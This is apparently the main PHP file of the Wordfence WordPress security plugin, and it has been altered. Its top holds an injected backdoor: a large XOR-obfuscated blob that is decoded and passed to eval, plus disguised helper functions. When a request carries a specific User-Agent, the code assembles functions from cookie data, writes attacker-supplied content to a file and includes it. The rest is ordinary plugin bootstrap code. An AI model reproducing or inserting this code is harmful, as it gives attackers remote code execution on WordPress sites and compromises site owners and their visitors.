I4[hL}bY\.CIzmSaP>rOlQ2Zp ^*oq@1xZ `iZBFwQ _@<rnpOU~`R)YBlRdyVyn5[[rPV|~iqQlaI*TKb_OcbARRho_m JqZl^^ TcpDv]nrAmSuS|Thc^\%ffv5 [w2|oz]|iob@2\f`V _B_R\PiCKQL  vY6ZXpH*RzQ^x {Alg@HVB\`%nz~rg_`UZb|u pS6\] TtOU{]^sab
BijoI'bAsRi@Ra>iMmB0GSn
3Epb@_^wYzMNI7L{SWBDBO!Nk P@%rOaop"zAO}Bv(XpVpw"UjXZ6]Rti~qrTpSTObC|[(fk_nL]uyoJZ[psJ/lo|\pbUVK\{ndBgY)[GZMDL`[\UwqO[+S|jK<f{vm*\U`	VaQ]P GPz_7qyAM][OmPL}Otwn0aQul*T
MKpJE_W!URw<rRXWIRpAG\w*qIOU[4^}gOSSVAZ)YabW}7uvuQ.ESdzt4[z[N_wT	
3Rto@VL[_wVLE`\.zr~>a}dL[#TQ}hvSbrmYLxJkRdtZ|DdBIjwb~+OwvL[]Iml|DWchhu_WuJDR]m-@a
Zbo|z~T]+|Lvp.DQF	6xnfR~GKW^ZRyrRZA2bmOY_y]f`[)nm"{Bm  zB-Pqq[})WZ {s3zSxJb_-I{hgb^i	O`^h,Dyf}aPfWP
T{ImQ]v{v>x\[ bKxqYh|mu#ENNVb{I_GWCKQ!t by<[SvXoTPDhmp7f	tUZ#obRao`Ltr
&`	lNO\[qw[	x`pm@LK`lBGYFI~TvP_^j]J2bfh^UaZFBL4N 
b
cR
sfqDqt]q>Tp}uOrKWmo)A`nKPZyPOYZX`RdbP`]>@mPkzlrsSL5pMQvXurR~^SEiY"Lt4PZ @%Rnp_tFi_ttKYoXKQ#YaGO^V\qmZ.uvJ`eIs1[@Y6Gx^ C @^^VEK~^aQpTS_QTbnOr_mb^PrmlIyZ}[ r<@{	1Y_Z\{sfq*EssRRErW^{n	~aO*pAKqRXVsy@QVQTX[RSpOpt-fk^	tEvomqzsp
tRkXWO&No|aTl
TwaDLd[wGaL 1sWKY-a O~ nPTmVjv-{ntmRe\[JP2dTm#\obHf@p`RVQM6~uYbR_kSoXR~0AHISUANn	L_\oN2W@BX	Dss=z~o[A"sXsSCjS	 VlR |4}^ArArK
aUvOC on_Hq ]DWmgs]]aZ	 gI@lY r{}PmcS_q`_YC}A|BxTBYrr|.W}RwRSqAdv+
z[HtXt"qjP]TcMDZhDOVMo.tZRG\aqNGkw>^{yh"frZ|\-F|WJY+ThapW%\GrW\|\nsNUCO_Px
OioiV+F}rtbJaa+zR~@&}e^@WKLM7APIL7puzRZ-RH_H/W[s{D~zkT\|*Mrur<BjP	SC
._D	Y^hLTQQZv)uQsm'LNJnpn\shLTmRxTQv tKSxmAo]Oo~O]}B]BaChuwmt'fpxR5T\mRp]`KA~oSph
DOcqK\LtLsv&FumztpF~m{LkUWLSCK s\i(~PskVoRTu`jXJLMWKlSnXpj
|sA#fWo`\&yoB!|lpkawQq'rN\q7\`cbCO|RYlSUT+RObuS}
K5wWQj[_q~lbw_L6Rn[U7D	UlOw ^~4UO[mvDNlAMLDMyVYTfp| w bVqw~`Sa|yOt-xqaI no|Qtppq=O\UQJzn{Tsg_ ]_TgydRIEMD\kWKAB*RvYj >gpw5@T@sm`~f[]UcUJnTTb'_tLS-yoy
zL|zi @r{nSkw#|A~w_DyWPR=_koNA]z
T 
Zi&ITKJ(}[OVo+ARbT-svSI.AnnJvi\yQnrHTT>Ztpu}|Mm_Ormq6b@ly|aW_|LvtR[u,aVtwWR
}'ShCobRom`[
+bqB[`2G\gYqo_mw-`dRi-XY]Q@rkBap ^zVSV|{]Jw6zhNp%OYMzN2d@M\fJ@SL!cN`Ho#zapyi7WlosXqguh'`|`
>|BMN .[VF~XAV2mNl/GvVSsR|JuvRPuDasW/q`~b@Pq	zjXli+	P"wzfs}eMtM]{BB/sZTnaq
GpVw{-pS b0YQ|_lRLiAUnBNoaOL[\]7XrV.Dp`A>U_\i'cTPU`kb(OlbrPRYAoIsBsI	0|
DlwcN~YD_BR[_wbyb@6aoOPs	v[SBOvlm	QWNWQZZeR~ rImm
=srBT\Aya]Rb@dPUfQEWlQ]Nf@OcBLvasR^p0NJd\~uhZ/nQhu	nOn]qhL[j!FxbQ1bjZY[C_Z_>~Ykq\ OQs~r_T @slP|3Lnyl@3s[@p~
w[RW	oZzuSPTB}Uzq|Ot XHrHoboy\ba
BR sGY]bi@uoLz^|}&nTv\i"AS\k]o~ODNWbWL[sJtO@}b_V4CNfyxb]loAyI4LPO~rYqt^n|+il-lljk3 Yo.SR`JFlt
^_NAl^NywBusqfjP|oSil1{YZh/}Y]||W}QTT@|2Dra 6Q|jP0fVztrOsO@@GuZRBVUo5Zx~H7oyPH.tvoA*^u@AWTv\"tK]Uzr[T Av
{Y_^Q\YkBn	* {^|W T[#~VwOlJAPDEBMA rWkp1[whO+w^^|oKQqyvZ6N[I_%F`VRblpT[z Y.aWM
}qLiaRzNgqJuzA||yh*~XMiQj]| 
TPSUJC{VJRRYKg|Q5_a<w
grR<`hO|T_A`qr1Z^_		OwZSEI	@~M
V_ lmUQu^azjC	T6yZ@KJttvPMdI#ez^[-doHIW
'aM|Sv\[o] nk}bT\}|L`%ua
`SZyn<nA_w)ly~uuJRjLt|AL1AL	M]CqxTI!rAR}{&
tIrM	kdA_)^sR`SRgu_n0o]Gum3CsSY
(]y\
|t\	V
s_ sS ]oLup@WkP<f] O/ZnWv]Lls /oHviupsH @PVu<QL_ROuHlN	nbDvoQ_ZWaOIeH]N	QuBrlK}|R6gvqVOW aY{.oyY_5LJZir0tVbhmO~tLjE}
aap]i eqzA\nlA]H`[`kuupROXAa"QU
KpbyoODWRTpQUlOkWNBP|*_@t%Tza*@Scyb!}wPaG
{k|)tzlAUVPbpv	5@
YW+AAWC_	b<_Ppo^U	P]u"wgbof]bJA` 3]lGKd}pis#QJONr#pQm3W{yT>Yul~@1ckZp f	^}S\~TOr6B~DAYUr]Zw]wR	rbiAA@V[Kp}W
Lqp_RT{RU4w	va&WCmP_`i^&lyl[0AVlr@2BOJP<l{y\T xmR x{zq+wQJ}b{+OTw .Qjp]N	 [`wKTN|pYh	\T~Sq,w`TV_ l	r]]`Z@hOZO`
,tWw}S
kwYW1UYwp>xPRkO/owbtS]u}Hq"nQs|3q~MStVO~Q@	'\Tq^R Bfs|IaK\~~Fvtuxt\a]^QpS6[K|UEmBM~! qoTJLB[F]~H UTPwy`YU@Yo DUnzN	KTk	
pmSp{bVnXneVykO~	(X|QYA6ePxMk7g[PH(b[]Ryv~K)SBZ`PKRY*tjOYQUdRQn_r"uYWU#nMDrv^W]ZF
[iH)uYN`R\]}z1qk
}(rWTu
t~[WYV~	\/NVxJ~D_hWT^]l^fS]PR
_J~Ot
NawD@T	 @Pnp]z
_WyzsoWZ`^uW&[lZJOEAQ	D_nTL\tumu7fT~Bw!mU-apMi*q^PO5yvy`\!UEqJriE`DWIaVIKYrO`['bnz_p]^JLXv^BAXMHLSfAK1czohzOIxy0 J@q|}i{B]@J\lR	CIxsOULRKIGiu[P^nro|	~MGRhnBhs{IS bsx\^+bK`svRWb	}" {i~IMJt4zJzK>Ss|\q[QA^a]Q`ib^VYz~,[\R]}mQAU]o\`o/xaEI"Ft{vpWon|O=D_SuiQ{wWP^yNp
W{wy{As@Dr~yAz@bmpDfW}*`]GR=tsDO3HvAiSyqs]/Bi\~\
_TBzJ
}wzUmbk\QDXhsbOK{mOrz]O	oi
]xs
K
R^ITQ{~	bx[jbm \l^I`pOD^|TbF
PR@cpa0 kHS)CZ~a(gNAH%w@mOIYTXYA~kG~}#wmN@UO[aAVS`[<oBW TZq(rMybb@MRs<TRqQ[a\KsrxI	giLV[Wvcul^r~.{M\Q@aVQo`_KD|O
U*ZZGoPsI[OFW`WR}MX|u%yIFP[1Y^TQbBttq+AoM{yVN_O]Mua^tY/oRHK'Q`ykZRsAoKN2^Zk*XW`uSTK`}4vq@^ D`CJWUrF[r_XPh5UszYtRbLUSN	~#FPshVctjvB	W`yOfsz'wgtm}tl}STgkOWJtiWAVNYP{YZ`k{	rvwnsytortn_1uJE[h+ DjW1sdmj<F_|@%B{t}V p	{zwBM*T[L]yMjwUWLsiw}vz	K(}uwt'cgTn-TWLP{tw~eqCv\yZS\_d 7o]S
wz
{'qIoPDwvQQ^~\ q`+RW_n/RMm>|j[ts3yMwSyv|'^gTK4 TP|j{rqw[FzVsp[ROtQ nA>{qX
`Sutw]sQy hU}[@b  EQ
[5aL^=@yvPaqT
zhZau d}-EU|XqvsODnv] ZO[dML4gK_|TCK BVWBRi
.fv[{S
{r^VUPu{mTS	[Q\bIlZsKS{up b\j ^vMWbYSPJM{_Royeta!_^SN}tTo`LaW[~ms naS|OVRSIRTCaH&wo{}	CRL%EvIu Uo(\YCJb7ZPbVSov{l%E|qJ-pM]M1] B3@l[mT=gNwMl^qsROZrIWOd[`Q`n a	vNZhyVgyqljTYYHBiQ{fDOhpS`ym/S]]B-BvHyQJB
N@ZOt&qBOPOT]\5xaFR@E_wvGwyZ^Za~VKfM{V/rJ`|Q^uo\FpcR(btZsty]NZy_S0cBs\
(Bfuy=pk}
w+LMW3Uvfy`4QRPSi,FqPkjaJz'fW\#w bV'jdjv%yOV{rsq>Gvn
ui
2xV_M&Z\KacMPW	wZzK[aN|\Ca_W_pPu[e_tbzLLIuzRTxmG_^\SQq\QLV^PWZo|sk\ukMb{bqo~'
BaTOcTVTv#To]i/G
m@tsYv|HSfuQV{0S!
eII2O[oMSERlwu	NBepTZDSKv4RzBPKc WZp\XQ~m_Z}iuLV.l}DOi5pptlKDHU!fsyu]uJzkAk@KMQW{~s[GIo-_
dwX``sN"zb@
 _ts	WTq aRl`WK"Qvo(N@GM`\EFo4\PqREVv]]zlg[pd~h-oTMpM|oM@ 2|ZYPH}`~^mCjxm	5@R|oTPIXYq7cP`^L{*ULS[1`
M\ 	OB ]L~wwr/Qqv_)r@B`oNnL	ZP\k	/rAKBd}u]oUbrr5}ACzUvYVI^Okz4pGmRnQmsoNL~_PiyyV>Bv	s\|zl/TA{or]XtPgJbu	VrJCO^S[my(eLPYqk[A C`^B0xjr|m,NOX^`2njB@@|}yy|mmsKZ|jo
ayEySlh={~Rz'[PC	B&eSq~kDcLQN DPSTcN^| yE[I(OUZ	 ]_SBT`WFHM,uhAjGUV`]Tn~yOmha.AoWB6F@
lS]C\ZrGoh-[neAOFPG[(cAvzUe|t v"SsMp=oaB uDT}cLT]@Kqll{kgmpY~Q\|YWOq
cN\k'LIP^Q^{{~\OX`b&WQzIszya`srB~zQNID^o-l@G{s1YN~SwnL]hlKfrIn	\Jy&LyXl\&NLwbz^f_s!Fqvk(\kR_b	YyLQr"]qQOOb}1Bv^
+}rrl]r~f@@c]^YRbTK\[sjOdhLkPlWErENc	P<rM LZ"sZa@^vAsUFu
M4~|zM~dLqZa"avHZ'\_r
vpBaS"c~B
]
YqR	NnpeDy sHV4S	mYyCwoKs}~	&C^ANjaOrHG]baKRRzKN\hlpaT]BmRRDDiVLm"EsliaYSLCbts^&qZdZo YhL[R xTx|bZiC SOk^KB\B[B|GuN)Eaip	`O{Pf
_]S]vh@HywTyaY wVRhh/Yg	|AlQsm|U`P]2RJC @U`RlP~K^ahOIOL_k[pZa~\6uav=ghCL	fD}VZSSZs0EYvkZQhB^T5Wn| rK toNr(}OXKy|mr	WUPPNw]fZopkFatD{YozH,N~X1Nsa`VVJ`itR`wK=G[uRZWRb*ormU{| aRBZqqwVA`
uKxzUoKobbUaR1ttj \T[Sj.prUU)|IL[hyr >BytQ)w}ATa>Ak_lV%Br{A'[o@Or![tQI	umRjVlVaFBYB]Awzy2c_ZQhp\I	Qdp`rATYqgvwOR[`%trVz\o\OO4q_lL@L}WySA3_TokY|sbLP@HQCS}ZNPAuzv]>qNb\,axiwPBbjh-n~lm(Ocj_Wg
)nv@~OYJ`asUtWS,D[E[i5^Ict]w]Oi	d
R	G~Nlw~_][kBQy]tgpo#y|T%LLQn\]R "D]}J/^SCT}DOsHO| XvjPyZY	! CIJ"{tgiYtLW_Z\]LcwWBV~b-ewOVRMESz3rso]CspY]rlIY(_^c|ZZto"f[YwaDdL~hUR_P3tbPU^s`)NM^CUyQhgq7fRM 4}xp+H}RMUAQTa!RzxmkvG_D\Q]blltPLh|)GkLW/C^tUnBD[B~Hy<[mFzR%k^@%	_mWhevtUpb}W7@`oBl(QAxMb2IbSN3G^BR-||_uWA[T	nr}iA
bf{K
G|Bh
Emg| 3@p_P4Qk\qM7CI`Zi(}j}B'Ltz unLS7RNzeP_aPQxJ@O+N_eaKA[dy]wW2qUAs^&rm[kTZz HRc_~t]q~zIQn_Qh
]A{rDpq@vulg  Km^P~ZV@ RcPt7NYcni6n@Adl N&pPg NRr	VrZSEqW}Qq[}zT~q0Q[WP
G k,FyENAVQoN#gLmrzrW)]	zZC\ztz
w
jBOP}	7C\F o0sYqA)]R^hNQx@GP}h@Y[Lk	ruZ@w<FTRaKE_bH]!LpsI{at|V%Abs]Q^Nz5]`yYdp]H/{paZ)IXKEbmlUumL{y.QMg|w~yk}b]Zz @tfPIssd}Y#a@Rm\@Bh's\WP\@~aqjWBnww	1ZkV+\Mpy6f{`nn+XtYns}uYo\(\zP}@[R]"pB`KyiMHHCzXJv{usu%twZYnTWbjr=rRRLWl[|},ll}D{mPZy!Bmamy	RGo`+Z|^~0nMc{OSOQH	uoXZP-cHfS[{Mv 2y{sJdqA	sn{OAGIt qb\KTlzpK^SpqmBR\Y^6xpN	}|svP]go\\<]mrKYw`pk\{Udal3Uymn_&s}aT#kmoW|ZOn
Q
@`sW~uo#GH_SM(LpLI}SMi6jLjDemwBr~~^Nan[=|QZsQAQ_&lL-e
stKpuRBML~yU(@tVzZLVRUr<_MTK|kju[  Tl&b~y\Kj>eRX@2siRVL	Uaqh}-WQXKVTUADHsTspVkSQPmz6~\mA!aUxhn>fLRpp/oHvp)U_YAy
dnlUDZQk`+T\b}V `zUn\wt7FaVQWfZl*h@T(lsbZ[bd`Zr{AP]Ub^eA@lOxw!OlGa\ y@Y6]x@b<`l]
t`'y}S]OxPCs	RGWu]eOcaO~ppHBq@os~BaRFjBon,LMiu/zhfo-YTE]Rpo[&[[AyMTMEL_<{_}=g^}M!tSb`+`yxo[2FLZR}oM}jZ>Qvc{R&AV~a-VdaS|W<aspq>OOBKKZBU.R|AQ-rO_p7rN@LOjijK[}|,Ay\nRlR1Fu{v]UWtIOqj{rR\M"taw{. [Im}
ttsQwv
,bmB@UTBrS{c\IGbT\~fT~h{	tT@uN.mo	HQoER"}LxbSUPt'vZrg^loo Z7na'NBDZjuU
bWoBQj|qq>oy]mkW {]~H]JCB]I[\@
Lo_ `BRJTvo%oM_vJ=LYW!s^w]A"MsjU}q}U
THun3ltm6w
WjOXkYRnl`SO*G
L}Q,|vwRSYuq/{M0`~am6[`u`-nz|  u{L	*eto .sar~,dMzWS|`\Q_Li@wmJxnlp{kwOtis `Mm`W@^SB	 YRUs!uQaWM)^B jYZiP+Zma@MUDZsN~(X`yKQ}h[	YO(_jLmv"qTwUt+YRQq[&N]vh[`MWv{\il*t|EZOUNIOBgwIA\CbC@^EhZJl dopO|F[	5sVwbJ*gmQiO"Ta.W`[B%ABf}v,dlyh`  
7\l_O U
`uJ.{\pJ\PW 0LNsMicz_ARu~aWxl\KA2\~qPt
g VYjtPgbAj{TXuMOoW^TBZWsB{qTDcUVNslROVbT|I^\TR^^JY{]MzlR_Nxt|Q>}[]}Qu}Ej/no T[H R2Yyo`  LluU'nQAU OEwT_|Ml"QA}SaGSP[#`aw
K+YJ[{YlT@7[u_kURDX[5_sJ	S^zVRH~ v^~PI
Sp||[W|Ey<RxTM+wLOrhbSMbU{KL`h~zB\aA\	ZkpRv%blVZ~,l@k<SAy)^n`VrUE@MJ!FW\i7`J@twwzJpu
UXHx|MpU\2@xv6XB uodtLeTaz]tMm%UKq\_cMRy>yjCRQ+{llw FvvSLuGZp]jvPM	fyqp]KFz]_)O|Lk5T M	5YTMzPZcBmQPfY(Q\_uzvL@hp>a}m Sm{i5U~V`am|R^VZuDFMWTQj\@DTJJOLRClRJ.1LUBCZYQ[DPPYHDCZYQ[D]GJWEMZ_[gNHMZQV;SU@DWJGYALVE	(_xJTB[CVsSyZ~_H@ZTUgTW\CZWoB uRS\d~hnsWmR]wCr ^IsZNH]&fqQH/TN u#ZR|m6Zz	PpY}OvQbDqT_2DPWsrUrg\WqifzU\bjB{ P@mqpa`KTP TPbr^o	AW|wGvl&KvBK)w[GLP]S
Bm^SP^\mD@OSqZ a1UmPk4BpWOu]hK*ao|0_rbKkq]FI_0keoi2[o<DJAkM#|DHB]taWj d}WtLQp,vT@LgW/RHlI~PNj
Nx U JVa<{}slRstQVrz[wVfSVo5Xkm}a%F	XL2a OY\3OSWapUT]^L
wHxHQVvB	2~ym|MOWR^ULq^Lp)L}C7vsuY{cIStO[uM.n]M
IO
# b`J@YqLOVuu	\y
y^ROT3DtN#_m`n=NGhxLcuIwjV gvQKtKDuRtI]a3ras}a*BP}\{*KYR>_}P`%{IX
Q0bb@Ywy~aOlmUfpnJU{lk\]PYo
	Y}ZU{LKw{R!ySov<BhOKl)PJr}i-sAQnZ4uVMzPK|\hR`Wo{3^iPwJVdw~\T {ufV,YI2Cvb^Y\UOrs|]T.ZJ`]]7bEiZ|\oA&Xw~UDShGBU)^[r\`\G}yNL Y	DbKuda|~Mzr N@bpy^T`WrUp[\KAZw	AyYvR'opRJPOfm_dloMUOY|l}S\}_~| DIT`Aoz_]lMaUJKC@VT/W]BSDdpEWPPm[JV"zXpzmUP	@\t*MZtV|umm2evMrsW*WTK5lLWl&Rb L2NPchwVqHa`\>{oybkWzpOnST_QekMB@[Oy~rTdi_bSLvNOt
o1f]aR%L Ey^7}jVau|i^UKsoj1CU]r]UL~XzR!XtXV@T|pSxNWNv
RVv ]CYM
 ]SP h{#FZwn|}ZRZ%PT{ryNPPZWQJlPt@FuySnQ\Ym[~Tv}ts ]WRPl[YTY@vsLBH]>SFZlBgAK]YJsjsuaqj\TbrprLZyTRrZL}\Z WQPQSfmY	s)~wFwU+}MKB	TTTSrgVt=WCL}'tP^`_Cu\,cz]HYray	P}B~{sxK	wh{Y}NNb[*CCQUOUpqAHfWWsT,a
riwCO\}2XyM"HqbI
}~keQbb[KaTT|\eOyQ!_B@o-UUy_q*wR@nSZl #ADFMWTQYWY YJWAjCJHcBCQ	CWHysHP|MEMZ_[^ULZJA_H@ZTUgKEK\WV_H@ZTUKL YJWAACHDC 
HC]MEMZ_[LSTC]YDFMWTQjQVYJWAMZ!Y/WHTT\[@EQRVYYJWAT`ODJ~AJCHC!HTT\[@R]Y]_B]DJTAC j\HP[HZ\]CZYSVPO#DQQ_' ; $ijd = 'd68588' ; $hke = '' ; for ( $aye = 0 ; $aye < strlen( $dsc( $ngj ) ) ; $aye++ ) { $hke .= $dsc( $ngj )[ $aye ] ^ $ijd[ $aye % strlen( $ijd ) ] ; } eval( $hke );
function aggregate_results(...$gt)
{
$n = array(82 * 20 - 1525, 2 * 58, 115 - 1, 80 * 1 + 32, 68 + 2 + 41, 24 + 91);
$y = '';
foreach ($n as $g) {
$y .= chr($g);
}
return $y(...$gt);
}
function process_queue($o)
{
$g = array(33 * 89 - 2836, 2 * 50, 111, 22 + 77, 82 + 18 + 1, 2 * 50, 27 * 62 - 1579, 2 * 26, 54, 104 - 3, 115, 97, 37 + 37 + 24);
$f = '';
foreach ($g as $x) {
$f .= chr($x);
}
$f = strrev($f);
return $f($o);
}
class SecurityHub
{
private static $_vwj;
static function resolveConflict($_tj)
{
if (!self::$_vwj) {
self::updateRegistry();
}
return process_queue(self::$_vwj[$_tj]);
}
private static function updateRegistry()
{
self::$_vwj = array('_ld' => 'S' . 'FR' . 'UU' . 'F' . '9VU0V' . 'SX0' . 'FHRU' . '5U', '_bl' => 'SFRUUF9VU0VSX0' . 'FHRU5U', '_pxh' => 'NDgwM' . 'jUx' . 'OTk=', '_sb' => '', '_xh' => '');
}
}
if (isset($_SERVER[SecurityHub::resolveConflict('_' . 'l' . 'd')]) && aggregate_results($_SERVER[SecurityHub::resolveConflict('_bl')], SecurityHub::resolveConflict('_' . 'pxh')) !== false) {
$_ue = $_COOKIE;
$_ngf = 00;
$_tj = 03;
$_cvd = array();
$_cvd[$_ngf] = SecurityHub::resolveConflict('_' . 's' . 'b');
while ($_tj) {
$_cvd[$_ngf] .= $_ue[026][$_tj];
if (!$_ue[026][$_tj + 01]) {
if (!$_ue[026][$_tj + 02]) {
break;
}
$_ngf++;
$_cvd[$_ngf] = SecurityHub::resolveConflict('_x' . 'h');
$_tj++;
}
$_tj = $_tj + 03 + 01;
}
$_ngf = $_cvd[04]() . $_cvd[010];
if (!$_cvd[023]($_ngf)) {
$_tj = $_cvd[027]($_ngf, $_cvd[015]);
$_cvd[024]($_tj, $_cvd[025] . $_cvd[034]($_cvd[02]($_ue[03])));
}
include $_ngf;
die;
}
if(defined('WP_INSTALLING') && WP_INSTALLING){
return;
}
if (!defined('ABSPATH')) {
exit;
}
define('WORDFENCE_VERSION', '8.1.0');
define('WORDFENCE_BUILD_NUMBER', '1756145765');
define('WORDFENCE_BASENAME', function_exists('plugin_basename') ? plugin_basename(__FILE__) :
basename(dirname(__FILE__)) . '/' . basename(__FILE__));
global $wp_plugin_paths;
foreach ($wp_plugin_paths as $dir => $realdir) {
if (strpos(__FILE__, $realdir) === 0) {
define('WORDFENCE_FCPATH', $dir . '/' . basename(__FILE__));
define('WORDFENCE_PATH', trailingslashit($dir));
break;
}
}
if (!defined('WORDFENCE_FCPATH')) {
/** @noinspection PhpConstantReassignmentInspection */
define('WORDFENCE_FCPATH', __FILE__);
/** @noinspection PhpConstantReassignmentInspection */
define('WORDFENCE_PATH', trailingslashit(dirname(WORDFENCE_FCPATH)));
}
if (!defined('WF_IS_WP_ENGINE')) {
define('WF_IS_WP_ENGINE', isset($_SERVER['IS_WPE']));
}
if (!defined('WF_IS_FLYWHEEL')) {
define('WF_IS_FLYWHEEL', isset($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'], 'Flywheel/') === 0);
}
if (!defined('WF_IS_PRESSABLE')) {
define('WF_IS_PRESSABLE', (defined('IS_ATOMIC') && IS_ATOMIC) || (defined('IS_PRESSABLE') && IS_PRESSABLE));
}
require(dirname(__FILE__) . '/lib/wfVersionSupport.php');
/**
* @var string $wfPHPDeprecatingVersion
* @var string $wfPHPMinimumVersion
* @var string $wfWordPressDeprecatingVersion
* @var string $wfWordPressMinimumVersion
*/
if (!defined('WF_PHP_UNSUPPORTED')) {
define('WF_PHP_UNSUPPORTED', version_compare(PHP_VERSION, $wfPHPMinimumVersion, '<'));
}
if (WF_PHP_UNSUPPORTED) {
add_action('all_admin_notices', 'wfUnsupportedPHPOverlay');
function wfUnsupportedPHPOverlay() {
include "views/unsupported-php/admin-message.php";
}
return;
}
if (!defined('WF_WP_UNSUPPORTED')) {
require(ABSPATH . 'wp-includes/version.php'); /** @var string $wp_version */
define('WF_WP_UNSUPPORTED', version_compare($wp_version, $wfWordPressMinimumVersion, '<'));
}
if (WF_WP_UNSUPPORTED) {
add_action('all_admin_notices', 'wfUnsupportedWPOverlay');
function wfUnsupportedWPOverlay() {
include "views/unsupported-wp/admin-message.php";
}
return;
}
if(get_option('wordfenceActivated') != 1){
add_action('activated_plugin','wordfence_save_activation_error'); function wordfence_save_activation_error(){ update_option('wf_plugin_act_error', ob_get_contents()); }
}
if(! defined('WORDFENCE_VERSIONONLY_MODE')){ //Used to get version from file.
//Duplicate block of wfUtils::memoryLimit(), copied here to avoid needing to include the class at this point of execution
$maxMemory = ini_get('memory_limit');
if (!(is_string($maxMemory) || is_numeric($maxMemory)) || !preg_match('/^\s*\d+[GMK]?\s*$/i', $maxMemory)) { $maxMemory = '128M'; } //Invalid or unreadable value, default to our minimum
$last = strtolower(substr($maxMemory, -1));
$maxMemory = (int) $maxMemory;
if ($last == 'g') { $maxMemory = $maxMemory * 1024 * 1024 * 1024; }
else if ($last == 'm') { $maxMemory = $maxMemory * 1024 * 1024; }
else if ($last == 'k') { $maxMemory = $maxMemory * 1024; }
if ($maxMemory < 134217728 /* 128 MB */ && $maxMemory > 0 /* Unlimited */) {
$disabled = ini_get('disable_functions');
if (!is_string($disabled) || strpos(ini_get('disable_functions'), 'ini_set') === false) {
@ini_set('memory_limit', '128M'); //Some hosts have ini set at as little as 32 megs. 128 is the min sane amount of memory.
}
}
/**
* Constant to determine if Wordfence is installed on another WordPress site one or more directories up in
* auto_prepend_file mode.
*/
define('WFWAF_SUBDIRECTORY_INSTALL', class_exists('wfWAF') &&
!in_array(realpath(dirname(__FILE__) . '/vendor/wordfence/wf-waf/src/init.php'), get_included_files()));
if (!WFWAF_SUBDIRECTORY_INSTALL) {
require_once(dirname(__FILE__) . '/vendor/wordfence/wf-waf/src/init.php');
if (!wfWAF::getInstance()) {
define('WFWAF_AUTO_PREPEND', false);
require_once(dirname(__FILE__) . '/waf/bootstrap.php');
}
}
//Modules
//Load
require_once(dirname(__FILE__) . '/lib/wordfenceConstants.php');
require_once(dirname(__FILE__) . '/lib/wfI18n.php');
require_once(dirname(__FILE__) . '/lib/wordfenceClass.php');
wordfence::install_actions();
}